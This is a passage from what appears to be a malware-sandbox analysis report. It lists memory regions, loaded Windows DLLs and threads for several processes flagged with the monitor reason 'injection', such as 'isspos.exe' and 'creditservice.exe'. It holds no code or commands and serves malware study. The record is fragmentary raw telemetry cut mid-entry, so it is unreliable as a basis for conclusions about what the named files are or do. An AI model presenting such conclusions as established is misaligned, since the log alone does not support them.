"pagefile_0x000000007f300000" filename = "" Region: id = 3402 start_va = 0x7f400000 end_va = 0x7f422fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f400000" filename = "" Region: id = 3403 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3404 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3405 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3406 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3513 start_va = 0x4f0000 end_va = 0x4f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 3514 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 3515 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3516 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3517 start_va = 0x5d0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 3518 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 3519 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3520 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3521 start_va = 0x540000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3522 start_va = 0x2090000 end_va = 0x23c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 273 os_tid = 0xfe0 Thread: id = 274 os_tid = 0xfd4 Thread: id = 356 os_tid = 0x1270 Process: id = "66" image_name = "isspos.exe" filename = "c:\\program files (x86)\\windows multimedia platform\\isspos.exe" page_root = "0x6a970000" os_pid = "0xfe8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\isspos.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Multimedia Platform\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2969 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2970 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2971 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2972 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2973 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2974 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2975 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2976 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2977 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2978 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2979 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2980 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 2981 start_va = 0x6a0000 end_va = 0x827fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 2982 start_va = 0x830000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 2983 start_va = 0xab0000 end_va = 0xac6fff monitored = 0 entry_point = 0xab14a1 region_type = mapped_file name = "isspos.exe" filename = "\\Program Files (x86)\\Windows Multimedia Platform\\isspos.exe" (normalized: "c:\\program files (x86)\\windows multimedia platform\\isspos.exe") Region: id = 2984 start_va = 0xd50000 end_va = 0xd53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 2985 start_va = 0xd60000 end_va = 0xe1bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 2986 start_va = 0xe20000 end_va = 0xe23fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e20000" filename = "" Region: id = 2987 start_va = 0xe90000 end_va = 0xf8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e90000" filename = "" Region: id = 2988 start_va = 0xf90000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 2989 start_va = 0x24c0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 2990 start_va = 0x2610000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 2991 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2992 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2993 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2994 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2995 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2996 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2997 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2998 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2999 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3000 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3001 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3002 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3003 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3004 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3005 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3006 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3007 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3008 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3009 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3010 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3011 start_va = 0x7fa60000 end_va = 0x7fb5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fa60000" filename = "" Region: id = 3012 start_va = 0x7fb60000 end_va = 0x7fb82fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fb60000" filename = "" Region: id = 3013 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3014 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3015 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3016 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3017 start_va = 0xe30000 end_va = 0xe33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 3018 start_va = 0xe40000 end_va = 0xe40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e40000" filename = "" Region: id = 3019 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3020 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3021 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3022 start_va = 0xe50000 end_va = 0xe50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e50000" filename = "" Region: id = 3023 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3024 start_va = 0xe60000 end_va = 0xe60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 3025 start_va = 0x2390000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 3026 start_va = 0x2620000 end_va = 0x2956fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 275 os_tid = 0xff8 Thread: id = 276 os_tid = 0xfec Thread: id = 348 os_tid = 0x12e0 Process: id = "67" image_name = "mxslipstream.exe" filename = "c:\\program files\\microsoft office\\mxslipstream.exe" page_root = "0x69f7c000" os_pid = "0xff0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft Office\\mxslipstream.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6208 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6209 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6210 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6211 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6212 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6213 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6214 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 6215 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6216 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6217 start_va = 0x210000 end_va = 0x226fff monitored = 0 entry_point = 0x2114a1 region_type = mapped_file name = "mxslipstream.exe" filename = "\\Program Files\\Microsoft Office\\mxslipstream.exe" (normalized: "c:\\program files\\microsoft office\\mxslipstream.exe") Region: id = 6218 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 6219 start_va = 0x2f0000 end_va = 0x3adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6220 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 6221 start_va = 0x600000 end_va = 0x603fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 6222 start_va = 0x610000 end_va = 0x613fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 6223 start_va = 0x650000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 6224 start_va = 0x850000 end_va = 0x9d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 6225 start_va = 0x9e0000 end_va = 0xb60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 6226 start_va = 0xb70000 end_va = 0x1f6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 6227 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 6228 start_va = 0x1fe0000 end_va = 0x209bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 6229 start_va = 0x20b0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 6230 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6231 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6232 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6233 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 6234 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 6235 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 6236 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6237 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6238 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6239 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6240 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6241 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6242 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6243 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6244 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6245 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6246 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6247 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6248 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6249 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6250 start_va = 0x7eec0000 end_va = 0x7efbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eec0000" filename = "" Region: id = 6251 start_va = 0x7efc0000 end_va = 0x7efe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efc0000" filename = "" Region: id = 6252 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6253 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6254 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6255 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 277 os_tid = 0xd48 Thread: id = 278 os_tid = 0xff4 Process: id = "68" image_name = "creditservice.exe" filename = "c:\\program files\\windows journal\\creditservice.exe" page_root = "0x49749000" os_pid = "0xfc4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Journal\\creditservice.exe\" " cur_dir = "C:\\Program Files\\Windows Journal\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3407 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3408 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3409 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3410 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3411 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3412 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3413 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3414 start_va = 0x1b0000 end_va = 0x1b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3415 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3416 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3417 start_va = 0x1e0000 end_va = 0x1e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3418 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3419 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3420 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 3421 start_va = 0x5a0000 end_va = 0x65bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 3422 start_va = 0x690000 end_va = 